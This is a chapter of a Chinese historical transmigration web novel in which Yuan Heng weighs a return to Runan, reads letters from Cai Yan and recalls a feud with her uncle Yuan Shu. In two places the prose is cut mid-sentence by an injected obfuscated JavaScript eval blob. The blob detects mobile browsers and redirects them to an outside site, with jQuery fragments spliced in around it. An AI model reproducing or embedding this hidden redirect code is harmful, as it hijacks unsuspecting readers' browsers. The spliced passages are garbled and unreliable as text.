若说郭嘉是洞明世事的鬼才,乱世时自有一席之地;荀彧是怀德的王佐之才,遇圣君定能平步青云。 那么袁珩,这位令本初最为得意的孩子,便是能令时局有变的诡才——她既可生乱,又可平乱,可这分明是相诡的才能啊! 诡者,违也。 何颙感叹:“不知待你们再年长些,又会有如何一番作为!” 人无完人,他们也各有弱势。 据何颙简单观察,郭嘉多不羁,荀彧弱锋芒,袁珩少持重;如此也难怪他们交好,从某种角度来说性格相似又互补。 而后又寒暄半晌,何颙这才非常滞后地知道了袁珩已被记在袁基那一支、以及正与荀彧议婚的事情。 何颙当即大大地松了口气:有袁公业与文若世侄这样的人在侧感化……咳,引导未央,或许她来日能更稳重一些,不至于招来灾祸。 何颙告别前,欲言又止地看了眼袁珩,最终却只是笑了笑,说了句“汝南再会”。 袁珩目送着何颙返回车马。 回想着并不体弱的戏英,又用余光瞥了眼并不病弱的郭嘉,想到这两人病逝的结局,若有所思。 【统,之后帮我留意下有没有强身健体术可以买。】袁珩叹气,【以及从今晚开始,我要继续上骑射课程了。】 系统有些受宠若惊,但也问了:【怎么突然继续课程?不跟荀彧研学了吗。】 袁珩有些勉强地挽了挽唇,没回答系统的话。 何颙为何初听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790989|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她家世、以及作别前,都神色复杂地看着她? 为何又说汝南再会? 袁珩心中隐隐有了猜测,说不上是什么感受,或许是担忧吧……若真如她猜测的那样,袁绍的母亲已经病故,那她要顺势待在汝南吗? 袁珩那天与系统对过时间线。 原本历史上,袁绍辞官还乡,为母守孝三年,而后又为素未谋面的社会父亲守孝三年,期满后回洛阳“隐居”,一直到黄巾起义后被何进强行辟召,共谋诛杀常侍…… 或许她的存在引起了变化,本会在四年前病逝的大母活到了今年。 若袁绍仍守六年孝,那黄巾起义爆发时他还在汝南,那里是黄巾起义的战场之一,袁熙也就罢了,如果袁绍与两位夫人出了事…… 袁珩长长地叹了口气。 她也没想到,自己居然会主动盘算着跟袁绍回老家。 而荀彧也猜出了七七八八。 返回郭氏的路上,郭嘉还在抓挠胳膊,如坐针毡;荀彧不着痕迹地将袁珩护在一旁,自己也悄悄地离远了些。 袁珩没忍住笑了一声。 郭嘉:“?” 他很敏感地抬头看过去:“阿珩你笑什么!” 袁珩讪讪:“我想起了高兴的事……” 这话可糊弄不住郭嘉,他当即追问:“什么事这么高兴?” 袁珩汗流浃背,已读乱回:“呃,我阿父要辞官回汝南守孝了?” 郭嘉:“?” 荀彧:“。” 荀彧没忍住拍了下袁珩的肩:“袁未央!注意你的言辞!” 郭嘉死死盯着袁珩和荀彧,欲言又止。 ……这是注意言辞的问题吗? 郭嘉恨自己非得追问袁珩,现在好了,大家都不高兴了。 袁珩耷拉着眉眼,一副茫然又可怜的模样,荀彧见状,不由忖道:我们未央再如何聪慧,到底还是个孩子呢。 于是又安慰道:“罢了,我知晓你只是心神不宁才言辞有失。恰好原定两日后便回颍阴,届时我陪你去拜访袁公业世叔。” 袁珩心想,袁基是绝不肯让她长期跟袁绍待在汝南的,而这或许也是他压下大母辞世消息、不曾告诉自己的原因。 虽然社会意义上来讲她现在另有大母,其中孝道可以很圆滑地处理,但怎么说呢?啧,新爹大概率会将她强留在洛阳。 毕竟不出意外的话,袁基在岁首之前便会被夺情,结束守孝回洛阳朝堂上去——他门阀承嗣的身份,是刘宏最爱的几种棋子之一。 在这样的前提下,他有八成概率,到洛阳后便再不离开。 荀彧未尝不曾看清其中门道,但这不是他可以点评的,只能又添了一句:“就算夺情,也夺不到八岁孩子身上。” 袁珩领了荀彧好意,却并不觉得袁基会放她回汝南,蔫蔫儿地“嗯”了一声。 心下唏嘘:袁公业,你好狠! 别说荀彧了,就连系统都没见过他们未央这般没活力的时候,担忧地建议:【要不咱们把袁基鲨掉吧!这样你也可以回汝南守孝了。你亲自盯着,也不用担心袁绍和陈夫人、李夫人会出事。】 袁珩:【……】 袁珩:【…………】 袁珩顿觉袁基好一个心地善良、冰清玉洁的可人儿,一点都不狠了呢! 袁珩苦口婆心地劝系统打消这个可怕的念头:【算了吧,我看他的词条也不少,咱们可不能逞一时之快,断了成就点的后路。】 系统被说服了,我们未央真是一个很大度的小女孩啊。 是夜,它的工作日志充满了爱的光芒。 “……一切疲倦好像都是上辈子的事情了,现在我很爱很爱我的客户。我要让我们未央成为全世界最幸福的人,助她名垂青史!” 15. 你又是因何思过 待回到颍阴县,荀氏窝点(划掉)聚居的高阳里,袁珩拿到了蔡琰来信。 荀攸将信转交给袁珩,迟疑道:“……等明日休整好了,便叫叔父陪你去拜访公业吧。” 袁珩并不意外,问:“慈母也回汝南了?” 慈母便是陈越秋,时下礼法,“慈母者,父所命养己者”。 荀攸颔首,而后看了眼四周,确认袁氏仆婢离得比较远,低声:“届时令尊怕是不肯放你离开洛阳……你怎么想?” 以袁基的身份地位,总能给袁珩找到更加德高望重的老师;况且如今袁氏与荀氏已有婚约,又何必靠师生之谊维持关系? 但袁珩很喜欢颍川,也很喜欢荀攸这个老师,咬咬牙道:“珩总会想办法回到颍川的!” 荀攸:……这合理吗,她居然用的“回”字。 荀攸不好评价,另问起在阳翟的情况,顺带考问了一二学业。 而后他惊奇地发现,袁珩竟然对《春秋》及二传对答如流,丝滑得像是在娘胎里就开始研学! 荀攸十分欣慰:“未央此去阳翟大有进益,可是有何见闻?” 其实不然……旁听的系统酸溜溜的:纯粹是我们未央吃软不吃硬,那荀文若从来温温柔柔地哄着她读书,她自然是依的。 袁珩却很心机地回答:“郭嘉通读五经,珩身为您的弟子,怎能堕先生名声?自是昼夜苦读,不甘人后。” 荀攸顿时感动不已。 他又压低了声音同袁珩说:“其实公业与本初相比,更以利为先。” 荀攸心思缜密细致,早便注意到了袁基、袁绍各自提起袁珩时的措辞。 袁绍说袁珩,是天资聪颖,是良材美质。 袁基说袁珩,是生有神异。 神异者,玄妙奇诡也。 其实在荀氏众人看来,“神异”确实更为贴合袁珩;可袁绍作为诸君中最糊涂的那个人,因爱子心切,反而认定此乃不凡。 袁珩闻言,若有所思。 袁绍关心则乱,袁基却能客观地评估袁珩,并愿意用最能利好袁氏和袁珩的方式教养她。 袁珩想起荀彧曾暗示过的方法,稳了稳心神:“……先生觉得,若我同父亲陈情有游学入世之志,他会认可吗?” 荀攸笑而不语。 * 蔡琰共有两封信,是不同时日写好后一次性寄来的。 第一封信,说她已经随父亲到了庐江郡,拜访了当地世家周氏,她父亲对周氏一位名瑜的小孩赞不绝口,说是很有音律天赋;蔡琰自己还结识了一名偏远宗室出身的女郎,虽门庭落魄了,但难掩才气。 女郎姓刘,名兰芝。 袁珩“咦”了一声,震撼地对系统叫道:【刘兰芝?应该是重名吧!】 总不能真是《孔雀东南飞》里“殉情”的刘兰芝……虽然这首诗讲的确实是东汉末年的“爱情悲剧”,但如果是同一个人,袁珩总有种破次元壁的感觉。 系统看见周瑜,就像汤姆看见了杰瑞:【周瑜!周瑜!未央,这可是词条大户啊!】 袁珩拒绝去问周瑜有多大户,转而阅读第二封信。 蔡琰也开始议婚了,是河东卫氏子卫政,年长她三岁,据蔡琰说是个非常非常【重音】讨厌的人。 卫政……卫仲道?袁珩了然,这不就是靠着我们昭姬才勉强在史书上记了一笔的早逝夫婿吗! 袁珩不觉得蔡琰这是小孩儿的“傲娇”作祟,也不是什么口是心非。 蔡琰就是讨厌卫政,正如袁珩起初反感荀彧一样。 袁珩在心里记下此事,而后对系统说:【帮我整理一下袁基、袁绍、袁术的单人词条。】 明天去见袁基要用,以后也方便。 系统当即开发出【袁氏物语】板块,犹豫了一下,又带着大量私统情绪,把荀彧板块重命名为【荀难财】。 ……爽了。 袁珩对此睁一只眼闭一只眼,畅想着未来。 等回了洛阳、结束孝期,她要说服袁基放她出去游历……而后她行走在外,游学也好,游侠也行。 要去庐江找蔡琰,要去安平拜访霍贞,去南阳找张仲景,有缘分便与周瑜、刘兰芝结交,踏入乱世前夕的史书。 要看遍乡间的太平道,要走遍飘摇的十三州,行过黎民众生的苦旅。 都好过在累累白骨上做一只硕鼠,在锦衣玉食中戴一张假面。 于是袁珩忽而了悟,她从来不是叛逆,她只是喜欢自由。 * 次日一早,袁珩与荀绲、荀彧、荀攸抵达袁氏颍川别居时,袁基正冷着脸与人无声对峙。 那是一个与袁绍年龄相近的贵族青年,华衣高冠极其招摇,明明坐姿端庄,却透出十足骄矜傲慢的气息。 袁珩心下皱眉,大感晦气——怎么袁术也来了! 袁基连忙起身迎客,丝滑切换成温文尔雅的含笑表情,交际花似的寒暄:“啊,仲慈世兄也来了?风度依旧啊……公达近来可好?这段时日辛苦你了……哦,还有文若,入座吧。” 差别对待得太明显,连袁术都没忍住侧目。 袁基不咸不淡地介绍了一下袁术,袁术很安分地一一见礼认识过,只是转头看向袁珩时眉头皱得能夹死苍蝇,语气也很生硬:“未央可还好?” 袁珩板着脸,规规矩矩见过长辈,语气同样僵硬:“未央很好。叔父近来可好?” 袁术硬梆梆地“嗯”了一声,而后不说话了。 气氛非常怪异,袁基习以为常,荀绲略感疑惑,荀攸与荀彧却叹为观止! 苍天,袁珩竟然也有这么规矩的时候,袁公路是怎么做到的?! 袁珩用脚趾头都能猜到这些人在想什么,心里很不高兴:【他们到底是怎么看我的?】 系统窃喜,一边顺毛一边暗戳戳地上眼药。 另一边,暂时还轮不到上桌说话的荀彧若有所思。 袁珩和袁术的关系确实很诡异,不像是寻常叔侄,倒像是有过节、关系尚未缓和的忘年交。 其实不然。袁珩和袁术只有旧怨,但因为袁术太不成熟、袁珩太早慧,拉平了一部分辈分差距,才给了荀彧这样的错觉。 事情要从去岁末袁逢病故说起。 那时袁珩回到汝南奔丧,跟袁熙起了争执——袁珩一直是有点厌蠢症在身上的,而顺风顺水的生活从来没教会她什么是“忍”,因袁熙死活写不出悼亡的词句,袁珩气得把他骂了个狗血淋头。 袁熙生下来就是个小透明,又跟袁珩不熟,只能唯唯诺诺地哭哭啼啼;这还在丧期呢,人来人往的,袁绍再怎么偏心袁珩,也没办法昧着良心把事情敷衍过去。 袁珩被请了家法,而后被送到书房里闭门思过。 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790990|174954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻钟后,她遇到了同样被请了家法、同样被送到书房闭门思过的袁术。 袁术当时就不乐意了:“换一间房吧……” 袁基看了眼袁珩,又看了眼袁术,驳回:“哪儿备了这么多间供你们思过的房室?” 说出来也不嫌丢人……! 袁术蔫蔫儿地进来,在袁珩附近跪坐面壁。 谁成想再过了一刻钟,又被送来一个杨修。 杨修眼眶红红的,脸颊也红红的,年龄是最小的,也是被打得最狠的。 三个根本不熟的亲戚在同一间室内思过,真是好感人的亲情。 杨修的性格更是集袁珩“是我怎样打我啊”的跳脱、袁术“我是门阀我牛逼”的骄矜于一体,很快就耐不住寂寞,非常自来熟地跟袁术、袁珩打招呼。 “舅父、表姊。”杨修顶着脸上的巴掌印见礼,“你们这是因何思过?” 袁珩看了眼杨修,说:“阿弟太蠢笨,写不出悼词,我把他骂哭了。你呢?” 杨修顿时找到了知己:“族兄太蠢笨,作不出悼文,我把他讽刺了一通。” 表姐弟对视一眼,惺惺相惜。 轮到袁术了。 七岁的袁珩与四岁的杨修一同看向叔父/舅父,目光中都带着淡淡的好奇。 袁术:“……” 袁术:“…………” 袁术“呃”了几声,恼羞成怒:“想知道?自己去问袁公业!” 袁珩打量他一会儿,了然地点点头,转头对杨修道:“恐怕是伯父觉得叔父太蠢笨,把他修理了一通。” 杨修恍然大悟:“原来舅父也作不出悼亡的辞文吗!” 袁术:“……” 袁术急了:“瞎说什么!我只是骂了句袁绍婢生子而已,根本没有写不出东西!” 袁绍本是袁逢庶出,生母地位卑微,后来被过继给了袁成。 袁珩、杨修:“???” 杨修惊呼:“那舅父你真的很坏了!” 这还在丧礼上呢! 袁珩非常不高兴地瞪了眼袁术,而后冷笑:“叔父这么有种,怎么不去陛下跟前说这话?” 谁不知道当今天子是从小宗过继到大宗的。 袁术这才反应过来自己对子骂父,心虚了一下,没再多说。 袁珩越想越不高兴,待思过结束就去袁基跟前状告袁术,袁基气得又请了一回家法,押着袁术去道歉。 袁术不愿意跟袁绍道歉,但愿意跟袁珩道歉。 毕竟是丧期,袁珩没再多说什么,但袁术从那之后就开始频频关注袁珩。 待袁珩要随袁绍去濮阳了,临走前袁术神神秘秘地叫住了她:“未央,要不然我把你记在我这一支吧?” 袁珩:“???” 袁珩差点以为自己听错了——袁术又不是没孩子,女儿也有一个,怎么还想着抢袁绍的呢? 袁术自信道:“你这么聪明,得有个衬得起你资质的父亲才行啊!” 袁珩:“……” 袁珩不懂,但大为震撼。 这是人能想出来的话?! 袁珩其实能猜到,袁术这么做有很大半原因是为了给袁绍添堵,但这更蠢了。 告状,必须告状!不告状不是袁氏女! 于是袁珩离开的当天,袁术又一次被袁基抽得如陀螺般旋转……